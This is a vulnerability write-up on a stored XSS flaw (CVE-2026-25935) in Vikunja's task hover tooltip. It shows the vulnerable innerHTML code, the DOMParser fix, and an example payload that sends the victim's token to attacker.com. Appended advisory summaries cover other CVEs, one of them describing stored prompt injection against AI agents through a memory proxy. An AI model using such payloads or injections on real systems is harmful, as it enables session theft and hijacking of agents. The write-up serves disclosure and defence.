Feb 11, 2026·5 min read·44 visits
Hovering over a task in Vikunja < 1.1.0 triggers a stored XSS via the 'glance' tooltip. The app tried to strip HTML tags using `innerHTML` on a detached div, effectively executing the payload it meant to sanitize.
A high-severity Cross-Site Scripting (XSS) vulnerability was discovered in Vikunja, the open-source todo application. The flaw resides in the task preview mechanism, where the application improperly utilized the DOM to strip HTML tags from task descriptions. By leveraging a detached DOM element and the `innerHTML` property, an attacker can execute arbitrary JavaScript simply by convincing a victim to hover over a malicious task.
We all love being organized. Or, at least, we love the idea of being organized. Vikunja is a fantastic open-source tool for exactly that—managing tasks, lists, and projects. It's clean, modern, and self-hostable. But in the security world, 'modern' often means 'complex frontend logic', and complexity is where bugs like to hide.
One of Vikunja's quality-of-life features is the 'Task Glance'. You're scrolling through a massive list of chores, and instead of clicking into every single one to see the details, you just hover your mouse over a task. The app politely pops up a tooltip with a preview of the description. It’s convenient. It’s snappy. And until recently, it was a loaded gun pointed at your browser session.
The vulnerability we're dissecting today (CVE-2026-25935) turns that innocent hover action into a full-blown compromised session. No clicking required. Just look at the task, and it's game over.
The road to hell is paved with good intentions and bad HTML parsing. The developers needed to solve a common problem: The task description is stored as rich HTML (because users like bold text and lists), but the tooltip preview needs to be plain text. If you blindly dump HTML into a tooltip, it might break the layout or look messy. So, they needed a way to strip the tags.
The 'lazy' developer way to do this is a classic anti-pattern: Create a standard HTML element in memory (a div), shove the HTML string into it, and then ask the browser for the text content. It feels safe because you never append that div to the actual page body. It's 'detached'.
Here is the logic flaw: Browsers are eager beavers. As soon as you assign a string to innerHTML, the browser's parser spins up. It parses the tags. It constructs the DOM nodes. And, crucially, if it encounters self-executing vectors like <img src=x onerror=...>, it executes them. The browser doesn't care that the element isn't visible on the screen. It sees an image tag, tries to load the source, fails, and fires the error handler—all within the memory of that 'detached' variable.
Let's look at the smoking gun in TaskGlanceTooltip.vue. This is a textbook example of why you should never trust innerHTML with user input, even in the dark corners of memory.
The Vulnerable Code:
// TaskGlanceTooltip.vue (Pre-1.1.0)
const descriptionPreview = computed(() => {
if (!props.task.description) return ''
// 🚩 DANGER: Creating a generic div
const tempDiv = document.createElement('div')
// 🚩 DANGER: The browser executes this immediately!
tempDiv.innerHTML = props.task.description
// They just wanted the text...
return tempDiv.textContent || tempDiv.innerText || ''
})By the time the code reaches tempDiv.textContent, the damage is already done. The payload inside props.task.description has already fired.
The Fix (Commit dd0b82f):
The fix is elegant and uses the correct tool for the job: DOMParser. This API allows you to parse HTML strings into a document that has no browsing context. Scripts are marked as 'already started' or simply don't run because there is no window associated with the parser.
// TaskGlanceTooltip.vue (Fixed in 1.1.0)
const descriptionPreview = computed(() => {
if (!props.task.description) return ''
// ✅ SAFE: DOMParser creates an inert document
const doc = new DOMParser().parseFromString(props.task.description, 'text/html')
return doc.body.textContent || ''
})Exploiting this requires very little finesse. Since Vikunja is a collaborative tool, the attack vector is social engineering via the workflow itself.
The Setup: The attacker gains access to a shared project. This could be a legitimate team member going rogue or an external attacker who was invited to a 'Collaboration' list.
The Payload: The attacker creates a new task. The title can be innocuous, like "Quarterly Reports". In the description field, they inject the payload:
This task is vital.
<img src=x onerror="fetch('https://attacker.com/steal?c='+localStorage.getItem('token'))">The Trap: The task sits in the list. It looks normal. The payload is hidden in the description.
The Trigger: The victim logs in to check their work. They see "Quarterly Reports" and think, "What is this about?" They move their mouse cursor over the task title.
The Execution: The TaskGlanceTooltip component mounts. The computed property descriptionPreview runs. innerHTML parses the image tag. The error handler fires. The victim's JWT token is sent to the attacker's server.
Because this is a Single Page Application (SPA), XSS is particularly devastating. The attacker can use the stolen token to impersonate the user, access private lists, delete data, or pivot to other projects.
The mitigation here is straightforward: Upgrade to Vikunja 1.1.0. The developers swapped the dangerous innerHTML method for the safer DOMParser API.
For developers reading this, the lesson is clear: Never use innerHTML as a sanitizer. It is not a sanitizer; it is an execution context. If you need to strip tags, use DOMParser or a dedicated library like DOMPurify if you intend to actually render the HTML later.
If you are self-hosting Vikunja, pull the latest container image immediately. If you cannot upgrade, you should advise users strictly not to share projects with untrusted parties, though that defeats the purpose of a collaboration tool.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Vikunja Vikunja | < 1.1.0 | 1.1.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-80 |
| CVSS 4.0 | 8.6 (High) |
| Attack Vector | Network |
| User Interaction | Passive (Hover) |
| Exploit Status | PoC Available |
| KEV Status | Not Listed |
NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.
CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.
CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.
CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.
A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.
CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.